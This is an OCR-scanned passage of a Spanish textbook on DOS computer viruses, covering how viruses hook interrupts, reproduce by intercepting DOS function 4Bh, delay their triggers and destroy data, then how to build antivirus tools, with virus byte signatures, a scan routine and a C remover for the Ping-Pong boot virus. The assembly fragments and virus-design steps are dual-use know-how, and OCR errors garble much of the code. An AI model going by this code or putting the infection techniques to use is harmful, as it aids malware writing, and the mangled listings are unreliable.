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361 RUTINA DE EJECUCION SIMULTANEA JUNTO CON EL PROGRAMA DEL

USUARIO

Modificacion del vector de interrupcion

MOV
MUL
MOV
SUB

MOV

AX 1CH :Numero de vector

4
DLAX ;Offset del vector
AX AX

ES.AX ;Segmento del vector

:Colocar la direccién de la rutina en el vector

CLI
MOV
MOV
MOV
MOV
STI

AX,OFFSET RUTINA
WORD PTR ES:[Di},AX
AX SEGMENT RUTINA
WORD PTR ES:[DI+2,AX

Si tenemos el DOS cargado en memoria, puede aprovecharse la funcidn 25h de la
interrupcién Zih para realizar este proceso, La tlamada a esta funcidn requiere que en
DS:DX se contenga la direceidn de la rutina que va a manejar la interrupcion y el numero

de interrupeion

;:Colocacién en DS:DX de la direccidn de la rutina

PUSH
MOV
MOV
MOV
MOV
MGV
INT

POP

DS

DX, OFFSETR RUTINA

AX, SEGMENT RUTINA
DS,AX

AH25H

AL ICH :Namero de vector
214

DS

,La rutina tendria que tener como Gliima instruccidn IRET

3.7 REPRODUCCION

Una de las caracteristicas fundamentales que distingue a un virus de ofros
programas perniciosos es su capacidad de reproducirse, es probablemente su cualidad mads
terible, pues al haber muchas copias del programa hace mas dificii su total erradicacién

del sistema

La capacidad reproductora de los virus no es siempte la misma Puede variar desde
unia umca copia (la necesaria para su instalacion permanente en el sistema) a una
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reproduce16n de tipo exponencial, en la que cada copia realiza vanas copias de si misma,
con lo que la propia funcién reproduciora satura ¢l sistema y agota la capacidad de
memona.

Para que la reproduccidn sea efectiva, la copia realizada ha de quedar permanente
en alguna parte del sistema. Como ta memoria RAM es volatil, solo tiene sentido la copia
an disce, infectando otros archives ejecutables.

La reproduccion iiene dos posibles objetivos primero, y mais importante, su
propagacion a otros sistemas; segundo, duplicar esfuerzos en la consecucion de algin fin,

Si el objetivo es la propagacion, tiene sentido dejar la copia dentro de algin
programa de utilidad que sea susceptible de ser compartido por otro sistema, y lista para
que empiece su actividad desde el mismo instante en que comienza la ejecucién del citado
programa. Entre estos programas de utihidad se cuentan tambien los que forman el sistema
operativo, inclmdo ef programa de carga (boot loader). En principio, no seria necesaria mas
de una copia por diskettes si se garantiza que el programa donde se encuentra la copia se
ejecutara con preferencia a los demés. La realidad es que el parasite, en su afdn por
garantizar la propagacion y no dejar al azar la posibilidad de que se ejecuie un programa no
contaminado, intenta teahizar copias de si mismo en todos los archivos del disco
susceptibies de ser ejecutados.

Para copiarse, necesita en principio, hacer una reconstruceion de si misme, pues
muy probablemente esté esparcido en varios trozas a lo largo del disco, con objeto de
oculiarse, La propagacton a ot7o sistema requiere la recuperacion de la totalidad del cédigo.
Existira, por tanto, alguna rutina recuperadora de las diversas partes, si es que estd dividids.

Podemos dividir, pues, el proceso de reproduccion en las siguientes fases:

1} Bisqueda de un huesped donde instalarse.

2} Comprobacion de la existencia de copia realizada anteniormente, para evitar
instalarse varias veoes €n unl mismo programa.

3) Recomposicion de las partes del programa esparcidas por el disco.

4) Copia en el programa huésped haciendo las modificaciones pertinentes para
garantizar su ejecucién en otro sistema.

3.7 1 RUSQUEDA DEL HUESPED DONDE SE HA DE INSTALAR

Fn el caso de los comtaminadores de boot, ¢ proceso de busqueda es mnecesario,
pues el programa 3 contaminar esta claramente localizando en el sector 0 del disco Pero en
el caso de los contaminadores del sisiema o de aplicaciones, se debera buscar el archivo
adecuado.

El proceso consistird en buscar en el directorio archuvos, traerlos a la memoria,
infectarios v volverlos a escribir en el disco. La realizacidn de todas estas operaciones



56

requiere Ja utihizacion de fas interrupctones del DOS, en otro caso, el programa virus puede
complicarse demasiado, aunque es posible hacerlo

Este proceso de basqueda puede resyltar en una actividad de la unidad de disco
demasiado frecuente, que provoca la alarma del usuario v la posterior deteccion del virus.
Por ello, muchos virus contarinadores de archivos gjecutables se linmtan a infectar dichos
archivos en el momento en que son llamados para su ejecucion por el usuario En dicho
momento la actividad del disco es algo normal, v un exceso de dicha actividad puede no ser
facilmente detectado.

La funcidn del sistema operativo que permite ejecutar un programa es el servicio
4BH de Ia interrupcién INT 21H del DOS. En consecuencia, el virus sélo tiene que
interceptar dicha rutina para que su propio codigo se active cada vez que se quiera ejecutar
una aplicacion

La llamada a la funcién 4BH suministra al virus, por un lado, el nombre de un
posible archivo a contanunar y, por otro, permite que se realice la contaminacion o
reproduccion sin levantar sospechas, El programa contaminante puede simplemente cargar
en memora el programa que se solicita, modificario, volver a escribir en el disco y dar
luego conirol a la rutina original de la funcién 4BH

03.7.2 COMPROBACION DE COPIA REALIZADA ANTERIORMENTE

Al instalarse varias veces en un mismo programa es iniil, v solo incrementa la
probabilidad de ser descubierto. Ademas, es importanie ahormrar tiempo, evitando reahizar
acciones mitiles, y ahomar espacio, evitando Henar ¢l disco con copias del programa virus
innecesarias. Por ello, resuita 1til comprobar, antes de propagarse a un archivo, si ese
archivo fue ya contaminado previamente. La comprobacidn de copia puede consistir en
observar el programa huésped para ver si conilene alguna palabra clave o cadena
determinada que identifique al virus.

No todos los virus son, sin embargo, tan cuidadosos. Muchos de ellos, en su afdn de
contaminar todo fo que pillan, parece que se olvida de las reglas del ahorro y derrochan
capacidad reproductora, conduciendo tambien, por fortuna, a su propia Tutina En
ocasiones, el omitir dicha comprobacion responde al deseo det disefiador del virus de
seguir un programa lo mas sencillo v pequefio posible, aunque en otras ocasiones se trata
pura y simplemente de un failo de disefio.

La no-inclusion de una rutina de comprobacion puede hacer, en los contaminadores
de archivos, que éstos crezcan en grandes proporciones, lo que hace el virus facilmente
detectable.
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1 8 PROPAGACION

La propagacidn es uno de los pnincipales objetivos dé los programas parisitos. La
publicidad de su hazafia es ia recompensa a sus esfuerzos y por medio de la propagacion
consigue multiplicar su actividad publicitaria, a la vez gue la dafiina.

La propagacion de los virus se suele realizar por medio del intercambio de diskettes.
No en vano e ongen de los virus fue la intencidn de castigar a los pirateadores de
programas. En este caso, el virus llegara alojado dentro de algin programa huésped, que el
nuevo usuario elecutard inoceniemente, sin notar {a existencia del virus, con lo que éste se
haré con el control de la maquina

El programa huésped puede ser:

s FI BOOT o sector 0 de un disco de sistema.

¢ Uno de los programas del sistema operativo contenide en el disco, como el
COMMAND COM, o un programa de utilidad cualquiera, susceptible de ser
gjecutado. Estos programas se encuentran almacenados en archivos con la
extension EXE o COM.

3.8.1 PROPAGACION POR MEDIO DEL BOOT

La propagacidn a través del BOOT sélo tiene sentide cuando se va a arrancar la
computadora con un diskette. (Generalmente, la mayorfa de uswarios amancan la
computadora desde el disco duro, o con sus propios diskettes protegidos, siendo bastante
raro ¢l arrancar con diskettes extraios. El dnico caso sea, quizd, clerios programas con
protecciones especiales contra copia, que exigen arrancar desde la unidad A. Para esios
casos, aseglirese de emplear solo discos originales, y inicamente si el fabricante le merece
confianza.

Puesio que la mayoria de la gente nunca arranca desde la unidad A su computadora,
parece que este mecanismo de propagacion no debiera ser muy efectivo. Sin embargo,
existen virus contaminadores del boot, como el de la pelota, que han alcanzado una
difusion extraordinaria. Esta disparidad se debe a un hecho sobre el que muy poca gente se
fija, v que abre unz pueria al virus para entrar en nuestro sistema:

Es vierto que casi nadie arranca la computadora con diskettes exirafios, pero ja
guién ne le ha ocwrido dejarse por accidente un diskefte cualquiera, que no contiene
sistema operafivo, metido dentro de la unidad A y encender la computadora con €17 Lo que
sucede entonces es gue la computadora no encuentra el sistema operativo v saca un
mensaje de error del tipo

Error en diskette o diskette sin DOS
Cambielo y pulse cualquier tecla
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Lo que nosotros solemos hacer entonces es sacar el disco de la unidad A y pulsar
una tecla cualquiera. Y es este tipo de comportamiento, precisamente, ¢s cuando el virus de
la pelota aprovecha para su propagacion.

El truco estd en que un virus contaminador del boot record no necesita para nada
que el diskette en que se mnstala contenga el sistema operative. Cuande encendemos el
sistema con un diskette introducido en la umdad A, la computadora pasa ¢l control el
programa conterudo en el boot record del diskette. 51 éste estd infectado, el virus se
1nstalard en memoria, tras lo cual la computadora comproeba que no hay sistema operativo
y nos da el aviso de error. Si no rescteamos, el virus permanecera en la memoria, y el
sistemna quedard infectado. La inica solucién para evitar esto consiste en apagar y volver a
encender fa PC para arrancar correctamente desde el disco (a no ser que el virug haya ya
pasade al disco duro, que tambien es posible),

3.82 PROPAGACION POR MEDIO DE ARCHIVOS EJECUTABLES

Este tipo de propagacion se efectfia, generalmente, a través de programas de
aplicacién compartidos enire unos usuaros y otros, es dectr, programas que realizan alguna
labor util, desde un procesador de texto hasta un videojuego. Si estos programas son
pequefios, menares de 64k. Lo normal es que sean archivos tipo COM, Si es un programa
grande, mayor de 64k, obligatoriamente habré de ser un archivo EXE.

La propagacion a través de archivos EXE es 1a més eficaz, en su efecto negativo,
por dos motvos: primero, porque los grandes programas de aplicacidn, es decir, los que
realizan tireas mas complejas y son por le tanto mas itiles, son por fuerza archivos EXE;
aly por ser programas de mucha utilidad, estard garantizada [a distribucion. Segundo,
porque de la misma manera que es mds diffcil anidar en un archivo EXE, tambien es mds
dificil detectarle y erradicarle de alli.

3.9 RETARDO DE LA ACCION

El objetivo puede ser mantenerse oculto durante un tiempo para pasar desapercibido
y manifestarse en un momento determinado, o bien realizar acciones periddicas.

Existen tres metodos de retardo:

a) En tiempo real. Retardo hasta que se alcanza una fecha determinada.

b} Bucle de Espera Largo. Retardo entre sesiones. Se cuenta el nlimero de veces
que s¢ ejecuta una rutina, o ef nliimero de contaminaciones v, cuando a alcance
une determinado se activa la accion fatal. La cuenta se mantiene entre sesiones,
de forma que se recuerda el ndmero aunque se apague ¢l equipo. Esto requiere
escribir ef nimero de cuenta en el disco.
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¢) Bucle de Espera Corto Retardo en una misma sesion, con objeto de reelizar la
accién una o vanas veces dentro de la misma sesidn. No requere que se
recuerde el niumero entre sesiones.

a} RETARDO DE TIEMPO REAL.

El método consiste en comprobar la fecha o Ja hora, mirando en 1a vanable fecha en
¢l contador de hora de la BIOS, hasta que ilegue fa marcada para la ejecucidn de la accidn
programada Existe una interrupeion de la BIOS, Ia 1AH, que proporciona la hora del dia

La BIOS mantiene una variable en la memoria que guarda la cuentz del nimero de
tics de reloj que se han generado desde la medianoche, en que esta vanable se pone a 0.
Bste nimero lo actualiza precisamente la interrupcion namero 8. El nimero de segundos
que han pasado se halla dividiendo ¢l contenido de la variable por 18.2. Para leer esta
vanable se utiliza el servicio 0 de Iz interrupcién 1CH. EI resultado se entrega en los
registros:

CX = Palabra alta del contador
DX = Palabra baja del contador
AL =1 si ya ha pasado un periodo de 24 horas
Para calcular las horas, minutos v segundos se utilizan las sigmentes formuias:
Segundos = contador/18.2
Minusos = segundos/60 = contador/1G92
Horas = (Si AL = 0) minutos/60 = contador/65520
{81 AL = 1) minutos/60 + 24 = 24 + contador/65320
3.9.1 RUTINA DE EJECUCION DE UNA ACCION A UNA HORA DETERMINADA

; La hora viene fiiada en minttos transcurridos desde 1a medianoche

CHECK_HORA.
MOV AHL0
INT 1AH
PUSH AX
MOV AX,DX
MOV DX,CX
DIV 1092
POP cX
TEST CX.0
bzl FIN_CHKH
ADD 1440

FIN_CHKH:
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MOV ES.SEGMENT HORA_PROG
MOV DLOFFSET HORA_PROG
TEST AX.ESDI]

IE ACCION

RET

b) RETARDO POR CONTADOR

Generaimente se cuenta el nimero de veces que se repite una accion concreta: el
niimero de copias del programa gque se hayan hecho, e! numero de veces que se ha
gjecutado una ruting, et

Hay dos modalidades:

e (Cuenta a largo plazo. El valor del contador se guarda en el disco y se recupera
cada sesion de forma que se puede programar una accién con un gran retardo.

¢ Cuenta a corto plazo. El contador no se guarda en el disco sino en la memoria
principal. Con lo cual su valor no se conserva entre sesiones.

En ambos caso, existe una variable, bien aimacenada en la memoria principal o bien
en ia secundatia, que sirve de contador. Hste contador se actualiza cada vez que se realiza
una accion determinada Para almacenar una variable en la memornia se puede utilizar un
archivo de vanables o bien un sector especial que contenga las variables permanentes del
virus.

3.9.2 RUTINA DE RETARDO POR CONTADOR

:Rutina de actualizacién

ACTUALIZACION:
MOV £S,SEGMENT CONTADOR
MOV DI,OFFSET CONTADOR
MOV AXES:[DDI]
ADD AX.1
MOV ES:[DI],AX
RET

;Rutina de comprobacitn

COMPROVACION: ’
MOV ES.SEGMENT CONTADOR
MOV DLOFFSET CONTADOR
MOV AX]

MOV PX,VAL ACCION
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CMP AX,DX
IGE ACCION
RET

3.10 MANIFESTACION

Es la fase final del programa pardsito, aquélla en que mantfiesta su presencia, unas
veces ablertamente, para hacerse publicidad, v otras secretamente, para hacer el mayor
dafio posible.

Hay por lo tanto dos posibitidades no excluyentes:

iy Mamfestarse con e} tmsco fin de dar un susto o una sorpresa. Entre este tipo de
manifestaciones tenemos las que hacen aparecer de forma periddica mensajes o
dibujos en la pantalia y solicitan a veces la gjecucion de un determinada accién,
pulsacién de una tecla, efc., borran el contenido de la pantalla, colecan en la
pantalla un obieto molesto que no se puede borrar, efe Son las que
consideramos broinas, aungue algunas veces sean muy pesadas ¢ impliquen la
imposibilidad de utilizar [a computadora con normalidad.

2) Manifestarse con el fin de hacer dafio. Las acciones habituales, en este caso,
suelen ser ef formateo del disco (destruyendo toda la informacién contendida en
€1}, el borrado del directorio ¢ de 1a FAT {volviendo irrecuperables los datos del
disco), o €l borrade de algin archivo aislado.

3.11 ALGUNAS PREGUNTAS COMUNES ACERCA DE LOS VIRUS
3.11.1. ;QUIEN FABRICA LOS VIRUS?

Quiza sea ésta 1a primera pregunia que todo el que ha sufrido el atague de un virus
se formula. ;Quiér es el que se dedica a programar este tipo de programas destructores?.

Inconscientemente, todos tendemos a plantearnos la pregunta de unz manera un
tanto mas pragmdtica. ;Quién se beneficia de la existencia de los virus?. Y el primer
sospechoso que acude a nuestra mente son aquéllos que ganarian algo (o mejor dicho, que
dejaria de perder mucho) con la desaparicion de 1a pirateria informética los fabricantes de
software.

Pero ¢l primer sospechoso no tiene por qué ser necesaniamente € culpable; y, en
este ¢case, creemos que no lo es. Resulta muy dificil imaginarse a WordPerfect Corporation
dedicado a su personal técnico a fabricar virus informéticos de sofiware seria, antes o
despu€s, conocida (v castigada). No creemos que sea serfo pensar en ninguna especie de
“Departamento de Desarrollo de Virus”,

Sin embargo, algo de razdn si hay en la sospecha, porgue otra cosa bien distinta son
los pequefios disefiadores de sofiware que trabajan por libre a todo lo largo v ancho de
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cualquier pais Es muy probable que los pruneros caballos de Troya fueran construidos por
alguna persona (o grupo pequefio de personas) dedicada al negocio del disefio de yuegos de
computadora, seguramente con la intencion de atajar por métodos drasticos la pirateria de
sus productos. De hecho, existe constancia de gue une por lo menos de los miltiples virus
gue circuian por el mundo, el virus Brain, fue disefiado por dos hermanos paguistanies para
intentar evitar gue sus programas fueran copiados No existe mnguna diferencia {en cuanto
a métodos v capacidades) entre un grupo de pequefios genios de la informatica dedicados a
producer nuevos programas, y ofro grupo dedicado a preparar auevos métedos de pirateo.
Como mucho, una diferencia en cuanto a viston comercial. Asi que no es extrafio que,
antes 0 despuds, el primer grupo decidiera defenderse de las agresiones (pirateos) del
segundo, recurnendo a técnicas similares a ias que éste utiliza,

A partir de ahi, lo més probable es que lz popularidad que alcanzaron los primeros
virus, v los caballos de Troya, atrajera la atencion de més de un demente de 1a informatica,
y que el disefio de los vinis se convirtiera en una stmple cuestion de placer sadico.

JQuién fabrica los virus hoy en dia?. Pues, probablemente, gente bastante normal,
que decide en un cierto momento participar en la carrera de protecciones ¥
contraprotecciones en que [a aparicién de los virus ha convertido a a informatica.

3.112 ;SIRVE PARA ALGO LAS ETIQUETAS DE PROTECCION?

Las etiquetas de proteccién contra escritura de los diskettes son, tal vez, la inica
garantia de proteccion fiable contra la infeceidn por virus. Las unidades de disco estan
coastruidas de tal manera que no es posible escribir por ningan métedo en un diskette que
posea efiqueta de proteccidn. En consecuencia, ningin virus puede propagarse a los
archivos contenidos dentro de un diskette protegido.

Podemos aprovechar de este hecho para guardar copias de seguridad “sanas”™ de
todos los programas que vayamos adquinendo, v poder restaurar asi el sistema en caso de
ataque de virus.

Pomner etiquetas de proteccion a todos los disketies en los que no tenga que esenibir
nada es algo que cuesta muy poco hacer, asi que recomiendo firmemente que las ponga
siempre.

3 11.3 (SUFRE UN VIRUS MUTACIONES?

La mania por encontrar paralelismos entre los virus organicos v los informaticos
conduce a veces a exageraciones que lo Gnico que hacen es confundir. Esta es una de eilas.

Cuando e! Viernes 13 se popularizd en, una revista especializada publicod el codigo
fuente del virus, a raiz de lo cual aparecieron diversas versiones nuevas del Viernes 13
obtenidas mediante modificaciones de dicho codigo fuente por vaya usted a saber gmén.
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: estz cucunstancia la que hizo que en algunos penddicos se comentaran las
utaciones” sufridas por el virus

No es acertado, emplear ia palabra “mutacion”, porque ésta sugiere la idea de que
a mutacion es algo espontaneo, tal y como ocurre con las mutaciones de los virus reales.
05 encomntramos, por el contrario, ante cambios absolutamente deliberados, provocados
>r personas deseosas de crear su version particular de un virus. Los virus informaticos
aseen una estructura fijada por su oreador, que no sufre varaciones espontaneas, y
imipoco pueden cambiarse por si solos.

»11.4. (SE CONTAGIA UNA COMPUTADORA AL INTRODUCIR UN DISKETTE
NFECTADO?

Para que un virus pueda propagarse a nuestra computadora, no basta con que se
introduzea en é] un diskette infectado. Es completamente necesario que se ejecute alguno
de los programas infectados contenidos en el diskette. Mientras que esto no suceda. El
virus no puede pasar a nuestra computadora.

Asi pues, podemos efectuar cualquier tipo de acoeso a un diskette con archivos
contaminados sin que represente mngin problema, siempre v cuando no ejecutermnos los
programas gue le contenga Por ejemplo, el efectuar un comando DIR para ver el
contenido de! diskette no puede hacer nunca que ¢l virus se contagie a la computadora. La
situacién cambia; sin embargo, en el momento en que ejecutamos algin programa del
diskette, ya que el virps puede entonces fomar control del sistema y propagarse a los
archivos del disco durg.

Hay que sefialar que cuando la situacidn es a la inversa si pueden propagarse los
virus. si es nuestra computadora la que estd contaminada, y efectuamos un comando DIR
para ver el contenido de un diskette sano, el virus puede aprovechar el acceso al diskette
para contartinarlo (& menos, claro estd, que esté protegido contra escrifura).



98

UNIDAD IV

CREACION DE UN ANTIVIRUS

4.1. PROGRAMAS ANTIVIRUS

La principal defensa gue tenen los usuarios contra los virus es la precaucion,

utilizar programas originales y, en todo caso, uatilizar programas antivirus que detecten,
elimnen y protejan la computadora del contagio.

4.1.1 TEPOS DE PROGRAMAS

EXISTEN CUATRO TIPOS DE PROGRAMAS ANTIVIRUS

1

DETECTORES, los cuales detectan la existencia de un virus conocido, alertando al
usuario para que tome las medidas adecuadas.

. REPARADORES, los cuales no solamente detectan la existencia del virus, sino que lo

eliminan dejando a los programas en su estado onginal. Estos programas son mas
conocidos como MATA- VIRUS.

. PROTECTORES, los cuales se instalan en la computadora permaneciendo residentes y

vigilando las operaciones de los programas para impedir que la computadora sea
contagiada por algln virus, dando un mensaje de alarma en caso de que se detecte la
presencia de alguno.

. DE VACUNACION, los cuales afiaden un codigo a los archivos ejecutables de modo

que éste se autorrevise al gjecutarse para impedir ser atacado por un virus.

De todos los tipos de antivirus comentados, los mas importantes desde el punto de

vista practico, son los detectores, Cualquier programa que queramos hacer funcionar en
nuestra computadora por primera vez debe ser revisado primero por un detector de virus.

Esta simple operacién por si sola deberia bastar para proteger la computadora de
contagios.

Los programas detectores de virus, aun siendo muy importantes en la deteccidn,
no son infalibles, ya que lo que hacen es analizar los archivos en busca de secuencias de
bytes caracteristicas de cada virus basta con que alguien realice upa pequefia
modificacién en el codigo del virus para que éste no sea detectado.

4.1.2. CADENAS IDENTIFICADCORAS DE VIRUS
VIRUS CADENAS

1701 OF 8D B74D 01 BC 8206 3134312446 4C75F8
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BRAIN TC A2097C 8B OE 07 7C 89 0E OA 7C EB 57

CASCADA-B FA 8B CD EZG0 00 5B 81 EB 31 01 3F F6 87 2A G1

DARK AVENGER 9D 73482E3B 1E0807753A85DB 7436 EE AB (029D ES
83007234

DATACRIME-B 2EBAQT2EC6052232C2D0 CAZEBR07 43 2E

FLIP FB BB 03 0D E8 IF 00 06 B4 42 (60 50 B CD (7

Existen tambien programas detectores que no son especificos de un determinado
namero de virus, sino que permiien detectar cualquier alteracion en un archivo,
independientemente de quien la haya producido.

Esta deteccion se basa en efectuar una serie de calculos con los datos de los
archivos (tamafio, paridad, etc.) y guardar el resultado um archivo especial.
Posteriormente, cada vez que el usuario hace uso de este detector, se realizan de nuevo
fos calculos y los comparan con los que tenia guardado. Si hay alguna diferencia nos da
un aviso de peligro

Los programas profectores son muy interesantes, pero tienen el inconveniente de
que permanecen residentes en memoria, ocupando de 5 a 30 kbytes, por lo que algunas
aplicaciones de usuario presentan algin problema de instalacion, y por otro lado, a veces
determinadas operaciones normales son interrumpidas constantemente por mensajes de
proteccion.  Sin embargo, suelen ser programas muy seguros, que incluso pueden
interceptar la accion de nuevos virus. Eso si, para que un programa protector funcione
correctamente, debe ser cargado antes que el posible virus, sino éste no sera detectado.

Los programas de vacunacién modifican los programas de usuario, siendo esto por
si solo un inconveniente, pero ademds presentan problemas de compatibilidad con algunas
aplicaciones

4.2 ELABORACION DE UN PROGRAMA ANTIVIRUS

En este capitulo explicare los pasos 2 seguir para la elaboracién de un programa
antivirus, que detecte y elimine un virus determinado.

En primer lugar, siempre serd conveniente que el programa antivirus detecte e virus
en memoria, y mucho mejor si ademds o elimina o desactiva. Hay que tener en cuenta que
s1 se elimina el virus del disco, pero sigue en memoria, es posible gue se transmita de
nuevo a aguél. Para eliminarlo, serd necesario comprobar qué vectores de inierrupcion
redirecciona y restaura sus valores originales, valores que estaran almacenados er zlguna
posicién de memona. Si este paso no se Heva a cabo, serd una buena medida de precaucion
el reinicializar la computadora con CTRL-ALT-DEL en caso de detectar algla virus.

En segundo lugar, para la deteccion de un determinado virus en disco, serd
necesano conocer alguna cadena de bytes caracteristica de ese virus en conereio. Una vez
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conocida, habrd que recorrer, en funcién del tipe de virus, el sector de arranque o Jos
archivos ejecutables en busca de dicha cadena.

Por dltimo, s1 se detecta alglin archivo con virus, habréa que proceder a su
eliminacién, proceso que vanard notablemente en funcion del tipo de virus con que nos
enfrentamos.

421 COMO ATRAPAR UN VIRUS.

El hecho de que los virus hagan aumeniar el tamafio de los archivos puede utilizarse
como un sistema sencitlo de deteccion de la existencia de infeccion S: Creamos un archivo
con la extenstén COM o EXE aunque este archivo sdlo contenga un byte, al ejecutarlo el
virus le afiadird su secuencia infectosa, aumentando el tamafio del archivo. Para ver el
cddigo del virus, sdlo tenemos que mirar el contenido del archivo.

Creacion de un archivo COM para atrapar virus

Cv- DEBUG

- A100

- XOOK:X100 INT 20

D $.0.0.4 4117

- NCMWTRA COM.COM
- RXC

- 0002

- W

- Q

Este archivo tiene un tamafio de dos bytes.

En codigo méquina tiene la siguiente cadena de caracteres
CD 20

Creacion de un archive EXE para atrapar virus, elaborado en lenguaje ensamblador,

CSEG SEGMENT
ASSUME CE:CSEG
MOV AH,4CH
INT 21H

CSEG ENDS

END

Este archivo tiene un tamafio de 516 bytes.

En cddigo maquina tiene ia siguiente cadens de caracteres.

B44CCD 21
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Con el Pe-tools, norton o con debug se puede ver s1 ha sido infectado, vy poder
analizar el archivo en busca de secuencias de bytes caracteristicas de cada virus.

422 CREANCION DE UN ARCHIVO, CON EL BOOT SECTOR LIMPIC

Para poder crear un archivo que contenga el BOOT sector limpio, es necesano tener
a la mano un disco nuevo, y estar seguro de que no esta infectado. Con el debug podemos
creario, haciendo lo siguiete.

1.- Entrar a debug con: c\debug.

2 - Introducir el disco hmpio {nuevo}.

3 - En debug hacer;

-L10000 1 , Carga en €} desplazamiento 100, de la unidad
; A (A=0), el sector O,
: leer solo un sector.

- N CMLEAN CFG ; Nombre del archivo.
- RCX ;Tamafio del sector.
200

-W ;Graba el archivo.

-

4.2.3 RUTINA PARA BUSCAR VIRUS

BUSCA VIR PROC
:SI = offset de cadena de virus a buscar
regresa:;
LAX=0 st no hay virus.
;AX=1 si hay virus.
PUSH DS
MOV AX,DS
MOV ES,AX
MOV DI,OFFSET BUFFER ;Buffer copia del archivo a examinar o
;copta del BOOT sector a examinar.
MOV BX,DI
MOV DX 81

CICLO-
CMP BX,OFFSET BUFFER + 497 Numero de bytes a comparar
, para 1dentificar al virus

JAEFIN BV

MOV CX,16 ;Numero de byies del virus.

REPE CMPSB ; Compara las cadenas de caracteres
CMP CX,0 ,Compara si se encontro

JE ENCONTRG_VIRUS
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INC BX

MOV DIBX

MOV Si,DX

JMP CICLO
ENCONTRO_VIRUS: .84, se encontro el virus

MOV AX 1

IMP SALIDA BV
FIN BV

MOV AX,0
SALIDA BV:

POP DS

RET

BUSCA_VIR ENDP

4.2.4 ANTIVIRUS BOOT O MASTER BOOT

Para eliminar este tipo de virus, el proceso consistira basicamente en averiguar la
ubicacion (sector) del BOOT original, que estard almacenado en alguna parte del disco.
Puesto que dicho BOOT debera ejecutarse para que se cargue el sistema operativo, dicha
posicién deberd aparecer referenciada, directa o indirectamente, en el sector de arranque

nnnnnnn

Por gjemplo, en la primera parte del virus de la pelota, situada en el sector de
arranque, aparece el sector en donde esta situada la segunda parte del virus, tras la cual se
encuentra el BOOT orginal. El siguiente paso serd leer dicho BOOT y por ditimo
escribirlo en su posicion onginal, es decir, en el sector 0 del disco.

Si el virus marco algin cluster como defectuoso, serd conveniente desmarcarlo de la
FAT, de tal forma que el espacio ocupado quede disponible para otros usos. Por ejemplo, el
virus de la pelota marca un cluster como defectuoso y el virus BRAIN marca tres.

425 VIRUS COM

Si se trata de un virus de este tipo, serd necesario conocer si se mstala al principio
de los archivos COM, como el virus Viernes 13, o al final de tos mismos, como €l virus de
la caida de pantalla.

4.2 5.1, AL PRINCIPIO DEL ARCHIVO COM

Es el caso mas facil de eliminar: el proceso de eliminacién consiste en leer v
almacenar en memoria la parte del archivo infectado que no corresponde al virus, pasando
a continuacion a reescribirlo en ef mismo archivo, para ello serd imprescindible conocer el
tamafio del virus
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4252 AL FINAL DEL ARCBIVO COM

En este caso, los tres primeros bytes del archivo infectado habran sido sustituidos
por una instruccion de salto (JMP). Dicha instruccion provocard que al gjecutar dicho
archivo comience ejecutdndose el codigo del virus. Los tres bytes sustituidos seran
almacenados en alguna parte del archivo, puesto que tras la ejecucién del cédigo del virus
seran situados en memoria en su posicidn original, para posteriormente bifurcar a dicha
posicion y continuar procesando normalmente el codigo del archivo gjecutado

El proceso para la eliminacidén de un virus de este tipo consistird, en encontrar ia
posicion del archivo donde quedan almacenados los tres mencionados bytes, pasando a
contimuacion a leerlos y escribirlos en su posicidn original al principio del archivo, de esta
forma quedara desactivado el virus.

Serd tambien conveniente, aunque no imprescindible, truncar el tamafio del archivo
para eliminar la parte final correspondiente al virus, para lo cual es necesaric conocer el
iamafio de éste

42.6. VIRUS EXE

Es, sin duda, el caso mas dificil de eliminar. Este tipo de virus se instaia siempre ai
final de los archivos infectados, reemplazando algunos de los valores situados en la
cabecera del archivo EXE, tales como el tamafio del archivo (en donde actualizara el nuevo
tamafio del archivo infectado), v el punto de entrada (que quedara apuntando al codigo del
virus). Este éltimo es, sin lugar a dudas, el mas importante de todos, y siempre deberd ser
almacenado en aiguna parte del archive, puesto que tras la ejecucién del codigo del virus
deberd bifurcarse al punto de entrada original del programa ejecutando, para continuar asi
procesando normalmente el codigo correspondiente a éste.

Algunos virus modifican, ademas, otros valores de la cabecera, tal como la
localizacion imcial de la pila, caso per ejemnplo del virus Viernes 13. El proceso a seguir en
este caso consistird, en primer lugar, en detectar en qué posicidn del archivo infectado se
encuentra almacenado el punto de entrada original (4 bytes), el cual debera ser leido v
reescrito €n su posicion correspondiente dentro de la cabecera. Serd asimismo conveniente,
como en el anterior caso, truncar el tamafie del archivo eliminando la parte final
correspondiente al virus, para lo cual habrd que conocer el tamafio del virus: Si se lleva 2
cabo esto ultimo, serd necesario actualizar a la vez en la cabecera el nuevo tamafio del
archivo (tras eliminar ¢l virus).

4.2 7. VIRUS DE LA PELOTA (BOOT)
El procese de deteccidn consiste en comprober si los bytes 507, 508 y 509 del sector

de arranque contiene los valores 00 57h v 13h respectivamente. Si es asi, implicard que ¢l
disco estd infectado, siendo necesario proceder en tal caso a su desinfeccién. Para ello,
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ieemos el BOOT original del disco y lo eseribimos en su posicidn correcta, es decir, en ¢l
sector 0; de esta forma, el virus habra sido desactivado.

El cluster utilizado por el virus seguird, no obstante, marcade como defectuosos; el
codigo necesano para desmarcar dicho cluster no aparece en el siguiente programa, si bien
es posible desmarcarlo con el programa DT (Disk Test) de las utilidades NORTON, para lo
que se deberé conocer el numero de clusters y teclear DT /cN° cluster-. Por ejemplo, si
fuese el cluster N® 185 habria que poner DT /c 185-

4.2.7.1 PROGRAMA DETECTOR/ELIMINADCOR DEL VIRUS DE LA PELOTA
#include “dos.h”

main()

{
char umdad, Buffer[512];
unsigned BOOT-Original;

printf{*\nEste programa detecta y elimina el virus de la pelota\n™),
printf{“tanto de diskettes como de disco duro.\n\n™),

crammtim e af Adiaas o P *‘_f

* Prﬁémxm POT &2 disco a verificar
pritf{*“Introduce el disco a verificar (0=A:, 1=B:, 2=C-, 3=D:) == *);
scanf{"%d”, &umdad);

/* Leer el sector 0 (BOOT) ¥/
absread(unidad, 1 ,0,Buffer);

/* Comprobar si el disco esté infectado */
if (Buffer[507]==0 && Buffer[508]=—=0x37 && Buffer{509]—0x13)

prntf{*\nj;; DISCO INFECTADO CON EL VIRUS DE LA PELOTA |'Vnin™),
/* Calcular la posicion del sector de arranque original */

BOOT Original=Buffer{506*0x100+Buffer{505+1];

Printf{“Sector donde esta el BOOT original: %dwn”, BOOT Original),

/* Leer dicho sector */

absread{unidad,1 BOOT Original, Buffer);

/* Escribirlo en el sector 0 ¥/
abswrite(umdad, 1,0 Buffer);

printf(“VIRUS ELIMINADQO DEL DISCOWN™);

else printf(*'nDISCO NO INFECTADO POR EL VIRUS DE LA PELOTAW™),
}
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42 8 RUTINA PARA ELIMINAR EL VIRUS EL BOOT SECTOR
